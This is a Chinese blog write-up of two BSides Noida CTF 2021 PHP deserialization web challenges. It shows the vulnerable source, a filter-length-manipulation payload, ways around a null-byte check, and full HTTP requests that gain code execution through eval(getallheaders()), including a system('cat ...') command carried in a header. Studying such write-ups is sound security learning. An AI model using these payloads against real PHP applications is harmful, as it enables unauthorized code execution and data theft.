BSides Noida CTF 2021 web题wowooo&freepoint writeup(两道反序列化)

原创

yink12138 于 2021-08-12 11:42:41 发布 149 收藏 1
分类专栏： CTF修炼之路 文章标签： 前端 php 安全

emmm终于开始正经地写第一篇wp了！撒花撒花~这场比赛也算是我第一个没爆零的比赛，自己独立做出来了一道(半?)，拿到flag也是相当开心~(当然还是比较菜，大佬轻喷)比完赛之后自己又去把差一点做出来的那道题好好整理了一下，梳理了两道题的思路，又有一些新的想法，写个wp跟大家分享分享~

下面进入正题。

首先需要了解序列化和反序列化的原理以及数组、对象的序列化格式，还有相关的魔术方法，具体可以看这一篇文章：[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客

一.wowooo

一进去，发现什么都没有...看源码也并没有发现什么可以利用的，直接上dirsearch扫目录，扫出来/index.php/login/debug/pprof/goroutine?debug=1这个路径是可以访问的，访问发现php源码，确定这是一道php代码审计的题目。

源码如下：

```php
<?php
include 'flag.php';
function filter($string){
    $filter = '/flag/i';
    return preg_replace($filter,'flagcc',$string);
}
$username=$_GET['name'];
$pass="V13tN4m_number_one";
$pass="Fl4g_in_V13tN4m";
$ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";

$authen = unserialize(filter($ser));

if($authen[1]==="V13tN4m_number_one "){
    echo $flag;
}
if (!isset($_GET['debug'])) {
    echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL;
} else {
    highlight_file( __FILE__);
}
?>
<!-- debug -->
```

看到unserialize就知道这是一道反序列化的题目，

知道了原理，来分析源码，得到flag的条件是authen数组的下标为1的项的值是"V13tN4m_number_one "，而本题题目中已经给出了这一项的值：i:1;s:".strlen($pass).":\"$pass\"，这样反序列化出来的数组$authen的$authen[1]将是$pass的值，而$pass="Fl4g_in_V13tN4m"，显然不是我们想要的，所以我们一定要绕过题目中的赋值。

我们可以利用反序列化语句的一个特性来绕过：**反序列化语句会舍弃第一个右括号之后的所有字符。**

再看题目源码，发现$username是我们可控制的传入参数，想到在$username里面添加右括号，让后面的字符失效。同时，自己重新给下标为1的项赋值，根据反序列化语法构造出部分payload形式：(待确定);i:1;s:19:"V13tN4m_number_one ";}

但是还有一个问题，第零项声明的长度是strlen($username)，但是有一部分$username的字符要用于构造第一项，这就导致第零项值的声明长度和实际长度不匹配，如果不做处理是会导致反序列化失败的！

如：传入的name=aa";i:1;s:19:"V13tN4m_number_one ";}，传入的反序列化语句是

a:2:{i:0;s:36:"aa";i:1;s:19:"V13tN4m_number_one ";}";i:1;s:15:"Fl4g_in_V13tN4m";}，实际执行的是a:2:{i:0;s:36:"aa";i:1;s:19:"V13tN4m_number_one ";}，第零项的声明长度是36，实际值却是"aa"，长度只有2，显然会出问题。

这时候需要用到题目给的filter函数，题目的filter函数是把flag替换成flagcc，而且，**filter的替换是不会导致strlen($username)这个值变化的！**

所以，前面的待确定部分每有一个flag字符串，实际长度就可以在已有的基础上再增加2，我们只需要构造出足够的flag，就可以弥补声明长度与实际长度的差值。这样，就可以构造出满足条件的payload。

最终payload：

```
name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}
```

二.freepoint

这道题比较简单粗暴，一进去直接就是php源码，直接上代码：

```
<?php

include "config.php";
function filter($str) {
    if(preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-
        return false;
    } else {
        return true;
    }
}
class BSides {
    protected $option;
    protected $name;
    protected $note;

    function __construct() {
        $option = "no flag";
        $name = "guest";
        $note = "flag{flag_phake}";
        $this->load();
    }

    public function load()
    {
        if ($this->option === "no flag") {
            die("flag here ! :)");
        } else if ($this->option === "getFlag"){
            $this->loadFlag();
        } else {
            die("You don't need flag ?");
        }
    }
    private function loadFlag() {
        if (isset($this->note) && isset($this->name)) {
            if ($this->name === "admin") {
                if (filter($this->note) == 1) {
                    eval($this->note.";");
```

```
                } else {
                    die("18cm30p !! :< ");
                }
            }
        }
    }

    function __destruct() {
        $this->load();
    }
}

if (isset($_GET['ctf'])) {
    $ctf = (string)$_GET['ctf'];
    if (check($ctf)) {
        unserialize($ctf);
    }
} else {
    highlight_file(__FILE__);
}
?>
x1.00
```

这道题又是一个php代码审计反序列化的题目，不过这里是类的反序列化，上面那道题是数组的反序列化，格式不太一样。

从我们传入参数的过程开始看，发现一条过滤语句：

```
if (check($ctf))
```

然而check函数源码里没有，这里有一个小小的经验：**有时候过滤函数不会直接给你(也找不到)，需要根据经验来判断过滤了什么字符！**

其实如果经验丰富的大佬应该不用花太多时间就能猜出来，这里Bsides类的三个变量都是protected变量，而protected变量需要在名字前面加上%00*%00，同时名字的长度加3，如这里就需要这么写：

```
O:6:"BSides":3:{s:9:"%00*%00option";s:7:"getFlag";s:7:"%00*%00name";s:5:"admin";s:7:"%00*%00note";s:10:"php
```

常见的过滤就是把空字符%00给过滤掉...

那我是怎么知道的呢？后面给了个hint，加了个注释//check nullbyte...然后我就知道了...(想想也知道“经验丰富的大佬”肯定指的不是我自己呀！)

那么怎么绕过呢？

两种思路：

1.php7.1+之后对类属性不敏感，private和protected变量均可以用public格式来表达。(实测php7.1.9不行，至少得php7.2)

如：

```
class BSides {
    private $option;
    private $name;
    private $note;
}
```

可以直接用public格式来反序列化，如：

```
O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:2:"aa";}
```

这道题通过抓包看响应头发现php版本是7.3，符合条件。

PS：**有个小tips，可以通过抓包看响应头来找到服务器的php版本和类型等信息。**

就以这道题为例，这是我抓到的响应头。

```
HTTP/1.1 200 OK
Date: Thu, 12 Aug 2021 02:43:32 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.29
Vary: Accept-Encoding
Content-Length: 8307
Connection: close
Content-Type: text/html; charset=UTF-8
```

我们就可以看到，服务器的类型是Apache(某些函数只有在特定的服务器类型下才能用，比如本体要用到的getallheaders只能用在Apache环境)，php版本是7.3.29。这些都是很重要的信息，能让我们在本地调试的时候事半功倍！

2.S解析绕过：

用S来代替序列化字符串的s来绕过，在S情况下会解析16进制，\00会被解析成%00

例：过滤空字节情况下，

```
O:6:"BSides":3:{S:9:"\00*\00option";s:7:"getFlag";}
```

表示该Bsides类对象protected属性option值为getFlag。

同样可以用来绕过其他的过滤，比如过滤了c，即可用\63替代

实测这种方法应用范围更广，只要php不是太老的版本，支持S类型解析都能用！

显然，根据后面的代码，想要得到flag必须要求构造的对象option值要为getFlag，name要为admin，结合前面的过滤绕过，就可以得到部分payload形式：

```
O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:?:"???";}
```

需要传入的note值还是未知的。

好，我们现在已经成功地绕过了check函数，进入到后面的流程。这里我们需要对unserialize这一句发生了什么有认识。

unserialize函数，实际上以下面的流程执行：

1.根据序列化形式，进行反序列化操作，直接转换成对应类的一个临时对象。(这里是Bsides类)

注意：这里系统执行时不会认为创建了一个新对象，而是一个已有的对象，**所以不会执行__construct魔术方法**(该方法只有在创建了新对象的时候才会执行)

2.如果有赋值，把这个临时对象赋给另一个变量进行存储(当然这道题没有)

3.该语句结束后，**临时对象被销毁(此时会执行__destruct魔术方法！)**

第三步就是关键所在，本题的__destruct方法里调用了load方法。而我们传入的变量的option和name值都没有变过，符合要求，直接进入eval语句，变成了RCE命令执行的题目，**note的值就是我们命令的注入点。**(不过注意在执行不同的命令时note值的声明长度也要随之变化)

本题存在过滤，filter函数里面的都给滤掉了，不能用system这些函数执行shell命令，不能用scandir，不能有引号带字母的组合(基本等于是无参数，有办法可以执行部分带参数的函数感觉但没啥用0.0)，所以就用无参数RCE来做就OK。

关于无参数RCE。这篇文章讲的很详细：无参数读文件和RCE总结_合天网安学院-CSDN博客

结合本题的过滤，能用的只剩下一个getallheaders了(后面发现还有别的方法)

接下来就是把想要执行的命令放到对应位置的headers里面就可以完成任意命令的执行，绕开过滤~

payload:

```
ctf=O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:28:"eval(next(getallhead
```

请求：(注意名字是Pragma的header的值，这里我用的是next，所以就改Host下面第一个header的值就可以了)

```
GET
/?ctf=O:6:%22BSides%22:3:{s:6:%22option%22;s:7:%22getFlag%22;s:4:
%22name%22;s:5:%22admin%22;s:4:%22note%22;s:28:%22eval(next(ge
tallheaders()));%22;} HTTP/1.1
Host: 34.118.41.45:4001
Pragma: phpinfo();
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131
Safari/537.36 Edg/92.0.902.67
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
```


成功执行~

这道题还有另外一种方法：getallheaders()[11]，然后直接添加一个名字叫11的header，这样就不管添加在哪里都可以提取出想要的命令~

payload：

```
ctf=O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:26:"eval(getallheaders()
```

请求：

```
GET /?ctf=O:6:%22BSides%22:3:{s:6:%22option%22;s:7:%22getFlag%22;s:4:%22name%22;s:5:%22admin%22;s:4:%22note%22;s:26:%22eval(getallheaders()[11]);%22;} HTTP/1.1
Host: 34.118.41.45:4001
11: phpinfo();
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
```

个人感觉这种方式相对好一些~

然后就是无过滤的RCE，相信这个大家应该没啥问题了，就是各种切换目录找flag，最后在home中找到了flag文件，查看即可。

最终请求：

```
GET /?ctf=O:6:%22BSides%22:3:{s:6:%22option%22;s:7:%22getFlag%22;s:4:%22name%22;s:5:%22admin%22;s:4:%22note%22;s:28:%22eval(next(getallheaders()));%22;} HTTP/1.1
Host: 34.118.41.45:4001
Cache-Control: chdir('/home')?><?php system('cat fl4g_ne_xxx.txt');
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
```

得到flag~

当然，还有另外一种方法，具体可以看另外一篇这道题的wp：BSides Noida CTF 2021--Web/freepoint-glob函数 - 码农教程 (manongjc.com)，多看几种思路做积累是很好的学习方式~

希望对大家有所帮助！

文章已迁移至博客：https://yinkstudio.xyz，之后文章大多在博客上更新，欢迎关注~